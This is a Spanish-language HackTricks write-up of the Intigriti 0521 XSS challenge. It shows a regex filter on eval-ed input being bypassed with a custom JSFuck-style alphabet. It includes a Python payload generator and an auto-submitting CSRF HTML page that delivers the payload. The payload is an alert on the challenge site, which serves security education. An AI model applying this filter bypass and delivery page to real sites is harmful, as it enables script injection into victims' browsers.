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178 lines
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178 lines
80 KiB
Markdown
# challenge-0521.intigriti.io
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
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* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
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* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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### Breve descripción <a href="#brief-description" id="brief-description"></a>
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El desafío proporciona un formulario vulnerable a XSS en la página [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\
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Este formulario se carga en [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) a través de un iframe.
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Se descubrió que el formulario **insertará la entrada del usuario dentro de la función `eval` de JavaScript**. Esto suele ser una mala idea ya que puede llevar a una **ejecución arbitraria de JavaScript**, y este es un buen ejemplo.\
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Sin embargo, antes de insertar la entrada del usuario dentro de la función `eval`, se comprueba con la expresión regular `/[a-df-z<>()!\\='"]/gi` por lo que si se encuentra alguno de esos caracteres, la entrada del usuario no se ejecutará dentro de `eval`.\
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De todos modos, se encontró una forma de pasar por alto la protección de la expresión regular y ejecutar `alert(document.domain)` abusando de la peligrosa función `eval`.
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### Accediendo al HTML <a href="#accessing-the-html" id="accessing-the-html"></a>
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Se descubrió que la letra `e` está permitida como entrada de usuario. También se descubrió que hay un elemento HTML que utiliza el `id="e"`. Por lo tanto, este elemento HTML es accesible desde Javascript simplemente usando la variable `e`:\
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Además, es importante saber que en JS se pueden **acceder a los atributos de un objeto con un punto o con una cadena entre corchetes**. Por lo tanto, se puede acceder al atributo `domain` de un objeto `document` de cualquiera de las siguientes maneras:
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```javascript
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document.domain
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document["domain"]
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```
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Y lo mismo ocurre con los atributos que son funciones (métodos):
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```javascript
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document.write("1")
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document["write"]("1")
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```
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Entonces, desde el elemento HTML `e` es posible acceder al objeto `document` usando algo como:
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```javascript
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e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
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```
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### Llamando a una función sin paréntesis con código JS como cadena <a href="#calling-a-function-without-parenthesis-with-js-code-as-string" id="calling-a-function-without-parenthesis-with-js-code-as-string"></a>
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Desde el objeto `document` es posible llamar a la función `write` para **escribir texto HTML arbitrario que el navegador ejecutará**.\
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Sin embargo, como los caracteres `()` están **prohibidos**, no es posible llamar a la función usando ellos. De todas formas, es posible llamar a una función usando **backtips** (\`\`).\
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Además, es posible poner como cadena código javascript que será ejecutado usando `${...}` como:
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```javascript
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`${"alert(document.location)"}`
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```
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Por lo tanto, combinando el acceso al objeto `document` con esta técnica para ejecutar funciones sin paréntesis, es posible **ejecutar una alerta usando**:
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```javascript
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e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
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```
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Puedes probar este código en una consola de JavaScript dentro de la página [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)
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### Bypass final de caracteres prohibidos <a href="#final-forbidden-characters-bypass" id="final-forbidden-characters-bypass"></a>
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Sin embargo, todavía queda un problema. La mayoría de los caracteres del exploit están **prohibidos** ya que aparecen en la expresión regular `/[a-df-z<>()!\\='"]/gi`. Pero observa cómo todos los **caracteres prohibidos son cadenas** dentro del exploit y los **caracteres no de cadena en el exploit (e\[]\`${}) están permitidos**.\
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Esto significa que si es posible **generar los caracteres prohibidos como cadenas a partir de los caracteres permitidos**, es posible generar el exploit.\
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Para hacer esto, he generado un alfabeto similar a [JSFuck](http://www.jsfuck.com) para generar los caracteres necesarios (_este alfabeto es personalizado para este desafío_).\
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Puedes **ver el alfabeto completo dentro del código del exploit** (que se puede encontrar en la siguiente subsección y en el archivo _exploit.txt_).
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Por ejemplo, para **generar la letra `a`** es posible acceder a **`[[]/e+e][0][1]`** ya que `[[]/e+e][0]` genera la cadena `"NaN[object HTMLProgressElement]"` o para generar la **letra `f`** es posible acceder al **quinto carácter de `[[][[]]+e][0]`** ya que esa expresión genera la cadena `"undefined[object HTMLProgressElement]"`.\
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Usando estos trucos y algunos más complejos, fue posible **generar todos los caracteres (letras y símbolos) de las cadenas contenidas** en el exploit:
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```javascript
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e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
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```
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### Código de explotación <a href="#exploit-code" id="exploit-code"></a>
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Este es el código de explotación en Python utilizado para generar el exploit final. Si lo ejecutas, imprimirá el exploit:
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```python
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#JS Specific Direct Alphabet
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x = {
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"1": "1",
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".": ".",
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"[": "[e+e][0][0]",
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"]": "[e+e][0][27]",
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"/": "[/e/+e][0][0]",
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"a": "[[]/e+e][0][1]",
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"b": "[e+e][0][2]",
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"c": "[e+e][0][5]",
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"d": "[[][[]]+e][0][2]",
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"e": "[e+e][0][4]",
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"f": "[[][[]]+e][0][4]",
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"g": "[e+e][0][15]",
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"H": "[e+e][0][8]",
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"i": "[[][[]]+e][0][5]",
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"j": "[e+e][0][3]",
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"L": "[e+e][0][11]",
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"l": "[e+e][0][21]",
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"M": "[e+e][0][10]",
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"n": "[[][[]]+e][0][1]",
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"N": "[[]/e+e][0][0]",
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"o": "[e+e][0][1]",
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"r": "[e+e][0][13]",
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"s": "[e+e][0][18]",
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"t": "[e+e][0][6]",
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"T": "[e+e][0][9]",
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"u": "[[][[]]+e][0][0]",
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}
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#JS Dependent Alphabet
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#The following alphabet will use previously obtained characters
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#Note that this way of getting the characters are custom for the abused HTML
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outerHTML = '+'.join(x[k] for k in 'outerHTML')
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x['p'] = f'e[{outerHTML}][1]'
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x['y'] = f'e[{outerHTML}][39]'
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x['<'] = f'e[{outerHTML}][0]'
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x['>'] = f'e[{outerHTML}][62]'
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x['"'] = f'e[{outerHTML}][13]'
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parentNode = '+'.join(x[k] for k in 'parentNode')
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document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
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x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
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children = '+'.join(x[k] for k in 'children')
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captcha = '+'.join(x[k] for k in 'captcha')
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x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
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write = '+'.join(x[k] for k in 'write')
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x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
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x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
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x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
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# Exploit generation
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payload_text = '<script>alert(document["domain"])</script>'
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payload = '+'.join(x[k] for k in payload_text)
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txt = f'{document}[{write}]'+'`${['+payload+']}`'
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print(txt) #Write the exploit to stdout
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```
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### Explotación <a href="#exploitation" id="exploitation"></a>
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Para generar el exploit, simplemente ejecuta el código Python anterior. Si lo prefieres, también puedes copiar/pegarlo desde aquí:
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```
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```
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Entonces, necesitas **generar una página HTML** que, al cargarse, va a **redirigir** a la víctima a la página del **desafío estableciendo el exploit en el formulario captcha**. El siguiente código se puede usar para este propósito (_nota que el exploit está codificado en URL_):
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```markup
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<!-- CSRF PoC - generated by Burp Suite Professional -->
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<body>
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<script>history.pushState('', '', '/')</script>
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<form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
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<input type="hidden" name="c" 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/>
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<input type="submit" value="Submit request" />
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</form>
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<script>
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document.forms[0].submit();
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</script>
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</body>
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</html>
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```
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Finalmente, **sirve el poc en un servidor HTTP** y accede a él desde el navegador:\\
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Simplemente presiona **submit** en el formulario de captcha y se ejecutará la alerta:
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
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* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
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* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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